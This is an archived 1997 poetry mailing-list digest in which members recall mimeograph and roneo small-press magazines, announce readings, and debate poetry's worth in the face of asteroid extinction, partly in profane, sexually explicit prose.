Magic Sam, et. al.
Thu 6 Mar 1997

Re:

"And I should add that "Magic Sam" was edited & produced by Ken Bolton (with Anna Couani & later, Sal Brereton) - Ken now edits "Otis Rush Magazine" and has a poetry publishing imprint called "Little Esther""

I assume (nearly) everyone on this list knows the names and music of Magic Sam, Otis Rush, Little Esther. Obvious point if not: these mags were named after blues guitarists/singers MS and OR and blues singer LE.

Tom

Tom Mandel
****

Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

↑ Index

119. Tom Mandel
Evans' lecture
Thu 6 Mar 1997

Re:

"Steve Evans' lecture "The Dynamics of Literary Change" is available from The Impercipient Lecture Series, 61 E Manning St, Providence RI 02906-4008."

Not on line somewhere (I must be getting spoiled).

Tom

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

↑ Index

120. Steven Clay
mimeo revolution
Thu 6 Mar 1997

---

thanks to all for your memories, comments & lists. lewis warsh, certainly one of the masters of mimeo, made the comment, while looking at granary publications recently, 'this is so great, i've always wanted to do this, i've always wanted to make books' - i felt like shaking him: "lewis! you have, you've been making wonderful books for 30 years!" there is something about the 'non-design' design of mimeo publications that is fascinating- and yet they are totally designed even resplendent in their expression of design, literature, art and the ever present "bookness". i'm remined of a comment mikeal made some weeks ago suggesting that the magazine l=a=n=g=u=a=g=e somehow had the ambition to present 'the text and just the text' (like sargent friday 'just the facts ma'am') - but this seems impossible! l=a=n=g=u=a=g=e was every bit as consciously designed & produced as, say, 'wired' magazine. it's 'materiality' as with mimeo, contributes forcefully to its total message. one of the interesting things about mimeo is that, although it required certain skills, one didn't really need a grasp of the

history of typography, printing and bookmaking. whereas, for example, printer/publishers using letterpress (also relatively cheap and widely available at the same time as mimeo) tended to be much more conscious of design etc. of the whole heritage of 'fine bookmaking'. mimeo, as a technology, was nearly invisible, yet now, as we look back, those books and magazines are totally striking in every way, not the least of which is their 'design'. it would be nearly impossible to produce books of such purity today, at least in the u.s. steve granary books

↑ Index

121. Christina Fairbank Chirot

Re: mimeo/roneo

Thu 6 Mar 1997

Mimeo journals with far reaching effects--by the Lettrists and the Situationists--early Fifties to Seventies--

erupted on to walls in '68

a bas l'abattoir

l'imagination au pouvoir

de l'envers on verra . . .

↑ Index

122. Jordan Davis

Poetry City Mnemonics

Thu 6 Mar 1997

It's Thursday, and that means Poetry City is on the radio!

At 11:45 this morning, if you're in New York or the environs, set your FM radio to 91.5 (not 91.9 as previously reported) and you'll hear the list's own Dan Bouchard reading among other poems "A Pavement Ontology", which is about Pennsylvania and Rhode Island, not Malkmus and Ashbery.

Then, tomorrow at 7 p.m., come by Poetry City (in the luxurious offices of Teachers & Writers Collaborative, 5 Union Sq W, NYC) to hear international superstars Quentin Crisp and Lee Ann Brown read their work. You won't be sorry you did!

With fond regards,
Jordan

↑ Index

123. Sylvester Pollet
Re: mimeo revolution
Thu 6 Mar 1997

Does anyone remember The San Francisco Zoo-Keeper's Voice? Early-mid '60s, Alec Weiss put it out (& if anyone has his address please send it). Ran a poem of mine in 65. then there was Mother, from Pennsylvania--can't remember Pittsburgh or Philadelphia. Prob. have a copy somewhere, because that editor published me too. Anyone done a study on how we remember those who said yes?

↑ Index

124. dbkk
Re: mimeo revolution
Thu 6 Mar 1997

At 12:20 AM -0500 3/6/97, Stephen Vincent wrote:
>Open Space edited by Harold Dull - San Francisco, early sixties. (tres rare,
>brilliant - Spicer, Kyger etc etc) primarily - as I recall - publically given
>away free atop a table in the basement of City Lights

"Open Space" was actually edited by the poet Stan Persky, under Spicer's direction. Tho' it looked like a mimeo magazine it was actually offset. "Open Space" was planned to run for one year, from Jan-Dec 1964, with an issue appearing every month; in the event 15 issues appeared, extra issues to celebrate Valentines Day, Baseball Season, and one extremely limited issue, #9, was printed to thwart collectors who might sell a complete run to universities, libraries, etc.

Spicer's earlier magazine "J" was indeed a mimeo magazine. "J" appeared for five issues during the second half of 1959. Jack Spicer and Fran Herndon solicited the writing and art work for "J," and the artists who contributed (Herndon herself, Jess Collins, Russell FitzGerald) drew their pictures directly onto the stencil. Jess' comic strip panels, so intricate, so flowing in line, and so funny, were executed without a single false line. How did they do it? How did they do these things without a backspace key?

Wonderingly,

Kevin Killian

Wonderingly,

↑ Index

125. **Joel Lewis**

Re: POETICS Digest - 4 Mar 1997 to 5 Mar 1997

Thu 6 Mar 1997

> *Granary Books*
> *NYC*
>
> *----------*
> *Date: Wed, 5 Mar 1997 12:57:04 -0500*
> *From: Joseph Lease <[redacted]>*
> *Subject: Re: mimeo revolution*
> *MIME-Version: 1.0*
> *Content-Type: TEXT/PLAIN; charset=US-ASCII*
>
> *I vote for Bill Brown's not bored*
>
> *On Wed, 5 Mar 1997, Steven Clay wrote:*
>
> *I'm co-curating an exhibition of books and magazines produced (mostly) via the mimeograph machine. I've compiled a list of a hundred or so as a beginning but would be very curious to hear some suggestions from those on the poetics list. Anyone wish to offer their "top ten list" of favorite mags from the Mimeo Revolution?*
>
> *I'm also interested in acquiring collections/libraries/archives of such material for the exhibit. Please back channel any offers.*
> *Thanks & best to all,*
> *Steve Clay*
> *Granary Books*
> *NYC*
>
> *----------*
> *Date: Wed, 5 Mar 1997 12:57:42 -0500*
> *From: Joseph Lease <[redacted]>*
> *Subject: Re: mimeo revolution*
> *MIME-Version: 1.0*
> *Content-Type: TEXT/PLAIN; charset=US-ASCII*
>
> *also if I may vote for one in which I appeared the National Poetry Magazine of the Lower East Side*
>
> *On Wed, 5 Mar 1997, Steven Clay wrote:*
>
> *I'm co-curating an exhibition of books and magazines produced (mostly) via the mimeograph machine. I've compiled a list of a hundred or so as a beginning but would be very curious to hear some suggestions from those on the poetics list. Anyone wish to offer their "top ten list" of favorite*

mags from the Mimeo Revolution?

I'm also interested in acquiring collections/libraries/archives of such material for the exhibit. Please back channel any offers.
Thanks & best to all,
Steve Clay
Granary Books
NYC

Date: Wed, 5 Mar 1997 13:00:44 -0500
From: Joseph Lease <[redacted]>
Subject: Re: Welcome Message
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

and also of course Mirage Periodical which Kevin and Dodie make consistently brilliant

----
Date: Wed, 5 Mar 1997 13:39:49 -0500
From: Jordan Davis <[redacted]>
Subject: Re: mimeo revolution
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

C
Mag City
Adventures in Poetry
The Harris Review
Dodgems
C Comics
The World
Gandhabba

and then later...

Object
The Impercipient
Explosive Magazine
Antenym
Stud Duck
Torque
Tads
Mirage (Periodical)
Yale Younger Poets
Situation

Tamarind ...

_____

Dear Fiona,

Steve Evans' lecture "The Dynamics of Literary Change" is available from The Impercipient Lecture Series, 61 E Manning St, Providence RI 02906-4008. I misspoke when I said that it proposes a structure of literary change. What would be more accurate is to say that the talk digresses around the subjects of the autonomy of the work of art, the beginnings and ends of literary eras, and the writings of Hegel, Musil, Bourdieu, Adorno and others.

Jordan

Date: Wed, 5 Mar 1997 13:51:36 -0500
From: Alan Jen Sondheim <[redacted]>
Subject: Re: mimeo revolution
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

The World

_____
URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html
Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted]
CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

Date: Wed, 5 Mar 1997 13:53:07 -0500
From: Alan Jen Sondheim <[redacted]>
Subject: Re: mimeo revolution
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Sorry - also, Bernadette's and Vito's 0 to 9, out around the same time, truly amazing for the most part, prescient in its nervousness. Acconci's poetic/ry hasn't been reprinted as far as I know and remains a unique body of work -

Alan

_____
URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html
Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted]

CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

Date: Wed, 5 Mar 1997 13:08:51 +0600
From: KENT JOHNSON <[redacted]>
Subject: Re: mimeo revolution

A couple of other mimeo/xerox notables: Mark Nowak's old Furnitures, and Giants Play Well in the Drizzle. Also Andrew Schelling's Jimmy and Lucy's House of K, which I think was reincarnated into something else.

Kent

Date sent:
Wed, 5 Mar 1997 13:39:49 - 0500
Send reply to: UB Poetics discussion group
<[redacted]>
From: Jordan Davis <[redacted]>
Subject: Re: mimeo revolution
To: [redacted]

C
Mag City
Adventures in Poetry
The Harris Review
Dodgems
C Comics
The World
Gandhabba

and then later...

Object
The Impercipient
Explosive Magazine
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Tads
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Yale Younger Poets
Situation
Tamarind ...

_____

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literary eras, and the writings of Hegel, Musil, Bourdieu, Adorno and
others.

Jordan

Date: Wed, 5 Mar 1997 11:56:37 +0000
From: Jay Schwartz <[redacted]>
Subject: Re: mimeo revolution
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Some of the magazines listed here are photocopied- does the original
post specify mimeographed?

I would be very interested in hearing from magazine producers about the
difference in production choices that mimeograph vs. photocopy entails.
Not just technical, but the aesthetic choices as well.

Thanks,

Jay Shxwartz

Date: Thu, 6 Mar 1997 09:05:35 +1000
From: Pam Brown <[redacted]>
Subject: Re: mimeo revolution
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Hello everyone -
In Australia , well, in Sydney, we had the amazing roneo magazine "Magic
Sam" with silk-screened covers & graphics - and later the
not-as-brilliant-looking "Meuse" followed by Mark Roberts' (& Adam Aitken's)
"P76" - maybe you can remember some others Mark ?
But "Magic Sam", with its sometimes four/five colour silk-screened comics as
well as the most interesting poetry, prose & interviews of the mid to late
seventies/early eighties, gets my vote as the best of the Australian mimeo
(we called it "roneo")magazines.

Cheerio
Pam Brown

At 12:37 PM 5/3/97 -0500, you wrote:
I'm co-curating an exhibition of books and magazines produced (mostly) via the mimeograph machine. I've compiled a list of a hundred or so as a beginning but would be very curious to hear some suggestions from those on the poetics list. Anyone wish to offer their "top ten list" of favorite mags from the Mimeo Revolution?

I'm also interested in acquiring collections/libraries/archives of such material for the exhibit. Please back channel any offers.
Thanks & best to all,
Steve Clay
Granary Books
NYC

Date: Thu, 6 Mar 1997 09:15:15 +1000
From: Pam Brown <[redacted]>
Subject: mimeo/roneo
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

And I should add that "Magic Sam" was edited & produced by Ken Bolton (with Anna Couani & later, Sal Brereton) - Ken now edits "Otis Rush Magazine" and has a poetry publishing imprint called "Little Esther"
Les Wicks was the editor of "Meuse" (which I think began as a Poets Union publication). Les now edits Transit Poetry - which is the poetry posters on buses project in Sydney & Newcastle.
And Mark can speak for himself I guess
Best Wishes,
Pam

Hello everyone -
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Cheerio
Pam Brown

Date: Thu, 6 Mar 1997 07:05:56 +0800
From: Schuchat Simon <[redacted]>
Subject: Re: mimeo revolution
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Chicago, edited by Alice Notley

Date: Thu, 6 Mar 1997 07:07:14 +0800
From: Schuchat Simon <[redacted]>
Subject: Re: mimeo revolution
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

United Artists, edited by Bernadette Mayer and Lewis Warsh

Date: Thu, 6 Mar 1997 10:10:19 +1100
From: Mark Roberts <[redacted]>
Subject: Re: e-signoffs / tradition & innovation
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Dear Mark P,

What IS outsourcing?

Fiona

That is when the government tells poets that they can no longer afford to fund culture and in order to save 'costs' poets should no longer write their own work - instead they should 'outsource' the writing of poetry to the private sector who, after all, can produce poetry much quicker and for much less unit cost.

Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

Date: Wed, 5 Mar 1997 17:29:00 -0600
From: "Pritchett,Pat @Silverplume" <[redacted]>
Subject: Re: e-signoffs / tradition & innovation
MIME-Version: 1.0
Content-Type: TEXT/PLAIN

"The unit cost per stanza is a concern to this panel."

- Ron Silliman

From: Mark Roberts
To: POETICS
Subject: Re: e-signoffs / tradition & innovation
Date: Wednesday, March 05, 1997 5:24PM

Dear Mark P,

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SIS Team
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University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

Date: Thu, 6 Mar 1997 10:37:33 +1100
From: Mark Roberts <[redacted]>
Subject: Re: mimeo/roneo
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Yes P76 used MAGIC SAM as inspiration. (i've still got two gestner machines in the garage). I can also remember a few others from the Poetys Union book box I used to cart around with me selling small press stuff at readings, conferences, parties, funerals etc....Pam can you remember a magazine called CHOOK CHOOK CHOOK (i think) which had a chicken feather stuck to the cover, or THE GREAT AUSTRALIAN WHITING (as in fish).

As an aside P76 is about to reborn as an web magazine. The 6th issue will be uploaded to the AWOL (http://www.ozemail.com.au/~awol/ site sometime in the next fortnight) There will be a photocopies print out available on request (no gestner PLEASE!). The 7th issue will be edited by andrew burke in perth. (the idea being that each issue will be edited by someone different in a different area of Australia (or even os?). Anyway more details when the issue is uploaded.

btw I think the 3rd issue of P76 was the best (that's the one whose cover appeared in the introduction to Pio's Penguin anthology OFF THE RECORD). Magic Sam also produced a series of roneoed books (one of which was a brillant little book by Pam Brown). I just remembered Magic Sam produced a roneoed Mental as Anything single...!!!!

And I should add that "Magic Sam" was edited & produced by Ken Bolton (with Anna Couani & later, Sal Brereton) - Ken now edits "Otis Rush Magazine" and has a poetry publishing imprint called "Little Esther"
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Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

Date: Thu, 6 Mar 1997 10:53:15 +1100
From: Mark Roberts <[redacted]>
Subject: Re: mimeo/roneo
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

I just remebered that the last two or three issues of Kris Hemnensly's H/EAR where roneoded with gift wrapping (I think) used as a cover. It was basically a collection of letters/comments form and to Kris from writers around the world.

Yes P76 used MAGIC SAM as inspiration. (i've still got two gestner machines in the garage). I can also remember a few others from the Poetys Union book box I used to cart around with me selling small press stuff at readings, conferences, parties, funerals etc....Pam can you remember a magazine called CHOOK CHOOK CHOOK (i think) which had a chicken feather stuck to the cover, or THE GREAT AUSTRALIAN WHITING (as in fish).

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btw I think the 3rd issue of P76 was the best (that's the one whose cover appeared in the introduction to Pio's Penguin anthology OFF THE RECORD). Magic Sam also produced a series of roneoed books (one of which was a brillant little book by Pam Brown). I just remembered Magic Sam produced a roneoed Mental as Anything single...!!!!

> *And I should add that "Magic Sam" was edited & produced by Ken Bolton (with Anna Couani & later, Sal Brereton) - Ken now edits "Otis Rush Magazine" and has a poetry publishing imprint called "Little Esther"*
> *Les Wicks was the editor of "Meuse" (which I think began as a Poets Union publication). Les now edits Transit Poetry - which is the poetry posters on buses project in Sydney & Newcastle.*
> *And Mark can speak for himself I guess*
> *Best Wishes,*
> *Pam*
>
> *Hello everyone -*
> *In Australia , well, in Sydney, we had the amazing roneo magazine "Magic Sam" with silk-screened covers & graphics - and later the not-as-brilliant-looking "Meuse" followed by Mark Roberts' (& Adam Aitken's) "P76" - maybe you can remember some others Mark ?*

↑ Index

126. Joel Lewis
mimeo rev
Thu 6 Mar 1997

I nominate VORT -- which did useful double poet issues such as Jackson macLow/Armand Schwerner, Ted Berrigan/Tom raworth, w/ interviews, essays, etc. Also mag city, larry fagin's adventures in poetry & so on

joel lewis

↑ Index

127. MAXINE CHERNOFF
Readings next week
Thu 6 Mar 1997

Paul Hoover will be reading from his new book of poems, VIRIDIAN, at three locations on the East Coast next week:

1.) Thursday, March 13, at Brown University, 7:00 p.m.

2) Sunday, March 16, at Pasman's Books, NYC, 3:00 p.m.

3.) Tuesday, March 18, at U of Pennsylvania, late afternoon.

↑ Index

128. Aaron Shurin
publication (not mimeo'd)
Thu 6 Mar 1997

I'd like to let readers on the List know that my new book, UNBOUND:A Book of AIDS, is out from Sun & Moon.

Thanks,

Aaron Shurin

↑ Index

129. KENT JOHNSON
asteroid to hit earth
Thu 6 Mar 1997

I have a question. Astronomers and people in-the-know writing in Astronomy, Sky and Telescope, Scientific American, and The New Yorker, have made it clear in the past year and a half that the Earth is fated to be whomped with an asteroid or comet, wiping out everything- -and they mean everything-- as we know it. It might happen suddenly *tonight* or next month or in a further but still totally unsuspecting future.

So my question is this: Given this overwhelming fact of an eventual,
sudden, and irreversible asteroidal extinction, what is the purpose
or worth of poetry, "avant-garde" or
otherwise? I mean, there will be no smell of mimeo ink or
memory of it after the big one hits. language poetry, its
precursors and fellow travellers, along with all its contraries, will
be blown to smithereens. The World and APR. Waht makes us talk of
evanescent words
and letters in the face of potential nothingness? Or would this be
provocation and reason for mimeo an its strange smelles?

Leinenkugel's is not a micro, but it's a noble beer. ("btw"--as the buffaloish idiom goes--what beers, sodas, or other drinks do avant- garde poets prefer when writing? perhaps as relevant a thread as waht one is wearing and comic strip guys? how about George crumb if we're going to do comics..)

Wouldn't a progressive political stance for avant-garde poets be to lobby their governments to invest in research to track the thousands of still unknown earth-crossing asteroids? The cost for effectively doing so is very minimal compared to military budget. No doubt a number of experimental poets will be laughing right now.

well Kaboom,

Kent

↑ Index

130. **dbkk**
Prosodia benefit reading
Thu 6 Mar 1997

Small Press Traffic is pleased to support Prosodia, the literary magazine produced every spring by the students of the New College of California Graduate Poetics Program. This year¹s editors are Stephanie Baker, Liz Burke, Eric Frost, Nick Karavatos, Fitz Schwartz, and Tricia Roush. Past contributors include Will Alexander, Rosmarie Waldrop, Rodrigo Toscano, Dorian Harding-Morick, Anselm Hollo, and Diane Di Prima.

Please note that this event is happening on SATURDAY, not Friday:

Saturday, March 8
7:30 in the New College of California Theater
Admission is $5 (no one turned away). All proceeds will benefit Prosodia 7.

Kit Robinson
Tricia Roush

Kit Robinson¹s books include Balance Sheet (Roof), The Champagne of Concrete (Potes & Poets), and Windows (Whale Cloth). His translation from the Russian of Ilya Kutik¹s Ode on Visiting the Belosaraisk Spit on the Sea of Azov is recently out from Alef Books.

Tricia Roush is a second year M.A./M.F.A. student at New College of California and a member of the collaborative performance group The Underbelly Sextet. Her work has appeared in Prosodia, Notes From the Underground, The Word Enamel, Tales from Around the Bend, Boog Literature, and Phaeton. She likes Johnny Mathis, and is allergic to wool.

↑ Index

131. **KENT JOHNSON**
Re: asteroid to hit earth
Thu 6 Mar 1997

---

good luck Jennifer and Alan. may the force be with you!

> *Date sent: Fri, 7 Mar 1997 00:49:15 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Alan Jen Sondheim <[redacted]>*
> *Subject: Re: asteroid to hit earth*
> *To: [redacted]*

> *I always donate my poems to stopping anything from outer space.*
> *Alan*
>
> _____
> *URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html*
> *Images: http://www.cs.unca.edu/~davidson/pix/ Telephone* [redacted]
> *CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997*

↑ Index

132. **KENT JOHNSON**

Re: asteroid to hit earth

Thu 6 Mar 1997

---

well, of course, Mark, that would be stupid.

> *Date sent: Fri, 7 Mar 1997 16:55:00 +1100*
> *Send reply to: UB Poetics discussion group <*[redacted]*>*
> *From: Mark Roberts <*[redacted]*>*
> *Subject: Re: asteroid to hit earth*
> *To:* [redacted]
>
> *Of course, how stupid of me. I'm going to start writing traditional sonnets and save the earth from being hit by an asteroid.*
>
> *I have a question. Astronomers and people in-the-know writing in Astronomy, Sky and Telescope, Scientific American, and The New Yorker, have made it clear in the past year and a half that the Earth is fated to be whomped with an asteroid or comet, wiping out everything--and they mean everything-- as we know it. It might happen suddenly *tonight* or next month or in a further but still totally unsuspecting future.*
>
> *So my question is this: Given this overwhelming fact of an eventual, sudden, and irreversible asteroidal extinction, what is the purpose or worth of poetry, "avant-garde" or otherwise? I mean, there will be no smell of mimeo ink or memory of it after the big one hits. language poetry, its precursors and fellow travellers, along with all its contraries, will be blown to smithereens. The World and APR. Waht makes us talk of evanescent words and letters in the face of potential nothingness? Or would this be provocation and reason for mimeo an its strange smelles?*
>
> *Leinenkugel's is not a micro, but it's a noble beer. ("btw"--as the*

> *buffaloish idiom goes--what beers, sodas, or other drinks do avant-garde poets prefer when writing? perhaps as relevant a thread as waht one is wearing and comic strip guys? how about George crumb if we're going to do comics..)*
>
> *Wouldn't a progressive political stance for avant-garde poets be to lobby their governments to invest in research to track the thousands of still unknown earth-crossing asteroids? The cost for effectively doing so is very minimal compared to military budget. No doubt a number of experimental poets will be laughing right now.*
>
> *well Kaboom,*
>
> *Kent*
>
> *Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/*
> *SIS Team*
> *Building G05 Maze Crescent*
> *University of Sydney*
> *Phone 61 2 93517710*
> *Mobile 015063970*
> *Fax 61 2 93517711*

↑ Index

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Thu 6 Mar 1997

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>
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> *-and they mean everything-- as we know it. It might happen suddenly *tonight* or next month or in a further but still totally unsuspecting future.*
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> *So my question is this: Given this overwhelming fact of an eventual, sudden, and irreversible asteroidal extinction, what is the purpose or worth of poetry, "avant-garde" or otherwise? I mean, there will be no smell of mimeo ink or memory of it after the big one hits. language poetry, its precursors and fellow travellers, along with all its contraries, will be blown to smithereens. The World and APR. Waht makes us talk of evanescent words and letters in the face of potential nothingness? Or would this be provocation and reason for mimeo an its strange smelles?*
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> *Leinenkugel's is not a micro, but it's a noble beer. ("btw"--as the buffaloish idiom goes--what beers, sodas, or other drinks do avant-garde poets prefer when writing? perhaps as relevant a thread as waht one is wearing and comic strip guys? how about George crumb if we're going to do comics..)*
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> *Kent*
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> *Phone 61 2 93517710*
> *Mobile 015063970*
> *Fax 61 2 93517711*

↑ Index

134. **KENT JOHNSON**

Re: asteroid to hit earth

Thu 6 Mar 1997

---

fantastic! have you read phillip k. dick?

> *Date sent: Fri, 7 Mar 1997 20:18:32 +1300*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Demian Reed <[redacted]>*
> *Subject: Re: asteroid to hit earth*
> *To: [redacted]*
>
> *The question is it seems why bother doing anything, ever as eventually some disaster may befall us. The answer is survival ie reseach, investigate cures for diseases, learn to build spacehips to escape asteriods etc*
>
> *What part for poetry in this?*
> *Not much, but maybe it keeps the scientists and people with real jobs entertained for a while or at least gets them thinking laterally*
>
> *If the asteriod is big enough we can make it our new home, revert back to carving verse in rock and maybe one day progress to the high technological level of mimeo*
>
> *ps Hi DS - finally made it on!*

↑ Index

135. **KENT JOHNSON**

Re: asteroid to hit earth

Thu 6 Mar 1997

---

dear Alan:

if I could be with you and jennifer when the asteroid hits, i think i'd be happy. IO've been amazed and wondering about those panties you talk about on FOL. But I think that when the asteroid hits, most people won't be with the people they want to be speaking to, touching, fucking lovingly, or expressing a kindness to. This is the terrible thing about the asteroid that will kill us all and/or our innocent descendandts. What do you think we should do? do we, as avant-garde poets do something about this by putting on our bras and panties or our bvd Jim Palmer briefs or boxers and call our senator and say, look, mother fucker, our planet could be blown up any second by a rogue asteroid, what the fuck are you doing spending your time tinkering on the such and such bomber and so on? ... or do we say to our senator, jennifer is hot in her panties; she touches herself and Peter jennings does it behind the screen for jennifer while no one eis looking, thinkin gabout her, whose thinking about him, peter jennings, who is coming while he talks about the asteroid and the way we fucked the fucking iraquis with our astral weapons? This latter, jennifer, would be a better way to defeat the asteroid.

I'm not sure how, but mimeo has something to do with this. I'm not sure how, but how is mimeo connected to the death of iraqui sodiers buried alive in their sad trenches? I read these painfully lovely little books, not desiring to hurt anybody, these US mimeo things, desiring in all thier hearts to be separate from all the fucking shit. peter jennings puts his right hand in Jennifer's panties. Is jennifer happy the moment the asteroid hits? does she think: I'd like to see peter jennings in the nude, I'd like to be with my son and with my daughter in a field talking about what happened today at grade school, feeling the little bones of their shoulders as i try to think of the right motherly words to say? her son cries because the bully said something cruel about his little birthmark.

What does it mena to take a chance, to send it off on e-mail without cahnging a thing? How does this e-mail exist only becaude a young iraqui man was buried alive in atrench, while we watched, amazed, how mimeo could had led to this miracle of precission? Peter and Jennifer look at each other an want it.

Ket

I say you're a better poet than I, jennifer, but I still say, kaboom.

Kent

> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Alan Jen Sondheim <[redacted]>*
> *Subject: Re: asteroid to hit earth*
> *To: [redacted]*
>
> *I started to write a reply about why does poetry need a _part_ and why not*
> *stop legitimation crises behavior phenomena and then I got*
> *NO CARRIER*
> *so it was all precluded but I remember asking Edwin Honig why we studied*
> *Eng. Lit. when I did and he said because it makes us better people.*
> *Sometimes I pray for the asteroid.*
> *Alan*
>
> ---
> *URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html*
> *Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted]*
> *CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997*

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136. Stephen Vincent
Re: mimeo revolution re clay
Thu 6 Mar 1997

Maybe one aspect of mimeo - especially those that used the heavy, soft papers - was that the ink literally sank into the page. The reading process compelled a

certain quality of literal absorption. Mimeo as a soft, felt medium was the antithesis of formica, the plastic fifties. An organic, or vegetal quality about it. The materiality slowed down the reading. (As could letter press in that 'fine print' tradition. Who would want to rush through Spicer's "Language" as set and printed by Graham Macintosh for White Rabbit? At its worse the quick impression of off-set printed introduced a quick-disposable feel to work. The way that e-mail can perhaps similarly go up in quick smoke - and a good pesonal letter usually does not. The materiality of a medium can create a resistance -- as well as a larger labor input -- which impels a depth, a quality.

Cheers,
Stephen Vincent

↑ Index

137. Eliza McGrand- CVA Guest

a wacky e-zine site in australia people might enjoy

Thu 6 Mar 1997

---

by life.ai.mit.edu (8.8.5/8.8.5AI/life.ai.mit.edu:1.11) with ESMTP id BAA26199;
Mon, 3 Mar 1997 01:34:44 -0500 (EST)
Date: Mon, 3 Mar 1997 14:16:37 +1100 (EDT)
From: geekgirl <[redacted]>
To: [redacted]
Subject: geekgirl#9 *woof & doof* out now!
Status: RO

A kennel of one's own.

It's a well known fact a girl's best friend is her dog! The world's first and most popular cyberfeminist hyperzine presents *woof* & *doof*. Issue #9 is just itchin' to hit the road & goes online March 1, '97.

Never work with dogs or artists? Well find out for yourself! Produced with the assistance of the Australia Council for the Arts *W&D* is a fun look at kids, kelpies, kreatures and kosmic beings.

We hear news of the Australian spoken Word tour of Terence McKenna; meet Vali Myers Australian born artist at home in her wildlife oasis in Italy; lots of info about geekgirl's fave organisation "Guide Dogs for the Blind"; Critter from Bohemian Ink tackles some gnarly questions; Miriam from Wrong Kind of Stoneage pays homage to Gracie and sings a tune-or-two; plus some hot shock-wave, animation (and upcoming doof) by - Laura Jordan, Sally Harbison, RobJ and Komninos. Monika Jansch gets let out and does Dip, Dunk, Dog and we

have sniffed out some more Penapls as Therapy, and Hollywood Hound Dogs. Yelp-Yippee!..

Visit! you'll enjoy the RealAudio, Poodle Parlor and some kewl comps for kids and all kreatures. For the fussy types you'll nibble on the new merchandise and play with paper dogs. An extensive wired hair women's section is also included this issue to celebrate International Women's Week.

Thanks for your support in ensuring geekgirl continues to lead the way..

```
rosie x / geekgirl        http://www.geekgirl.com.au/
[redacted]        |o/        \o\        |o/
po box 759, newtown        |          \        /
australia 2042            />          <\     />
phax [redacted]        never loose site of # 1.
```

↑ Index

138. **Mark Weiss**

Re: mimeo revolution re clay

Thu 6 Mar 1997

Nostalgia for mimeo from a consummate bookman like Steve Vincent--that's a good one. I used the damned things extensively for political work--it was all over my fingers, all over my kitchen, all over everything. Typeface was dependent on typewriter. Mistakes--I'm a lousy typist--were like fate or original sin. Multilith used to make a typeable offset plate, so you could do offset and still not get into bucks. The first issue of Broadway Boogie was done that way and printed at night on a desktop AB Dick at Hostos College, unbeknownst to the powers that were, and hand cut on a guillotine. Artwork was drawn on those self-same plates. All the joys of mimeograph, but longer runs and cleaner copy. Then I discovered the compositor. Wow. If I made a mistake I didn't have to start all over, I could simply cut out the goof with an exacto and replace it with the correction. Good way to learn hand-eye coordination. But of course that married me to the short-run houses and budgets. But if it could be photographed it could be printed. Sometimes I get nostalgic for cars with broken clutches. All kinds of poverty are fun to visit when you're young.

At 03:51 PM 3/6/97 -0500, you wrote:
>Maybe one aspect of mimeo - especially those that used the heavy, soft papers
>- was that the ink literally sank into the page. The reading process
>compelled a certain quality of literal absorption. Mimeo as a soft, felt
>medium was the antithesis of formica, the plastic fifties. An organic, or
>vegetal quality about it. The materiality slowed down the reading. (As could
>letter press in that 'fine print' tradition. Who would want to rush through
>Spicer's "Language" as set and printed by Graham Macintosh for White

Rabbit?
> At its worse the quick impression of off-set printed introduced a
>quick-disposable feel to work. The way that e-mail can perhaps similarly go
>up in quick smoke - and a good pesonal letter usually does not. The
>materiality of a medium can create a resistance -- as well as a larger labor
>input -- which impels a depth, a quality.
>
>Cheers,
>Stephen Vincent
>
>

↑ Index

139. William Burmeister Prod
Re: Pogo
Thu 6 Mar 1997

George Bowering wrote:

> *Now Walt Kelly wd be in another kind of trouble.*

I must have missed the beginning of this Pogo thread. Was a PC problem ever perceived here?

Anyway, I love the language possibilities. Are the Pogo books still available in the bookstores?

Bill Burmeister

↑ Index

140. Mark Roberts
cutting stencils on html
Thu 6 Mar 1997

Ron Silliman wrote:

>
>I do think that HTML and web technology has some of the very same potential that
>generated the "mimeo revolution" back then, but with some important differences.
>The most important one is that the world of writing itself is far more dispersed
>and decentralized than it was 30-40 years ago (generally a good thing, but not
>unabashedly so). The other is that these pieces of equipment are hardly free, even

>if they are becoming common. I could never have afforded the upfront costs of
>owning a PC when I was in my 20s and didn't actually buy one until I was
41. Yet
>the sort of effort that yields something like Luigi-Bob's scratchpad for the
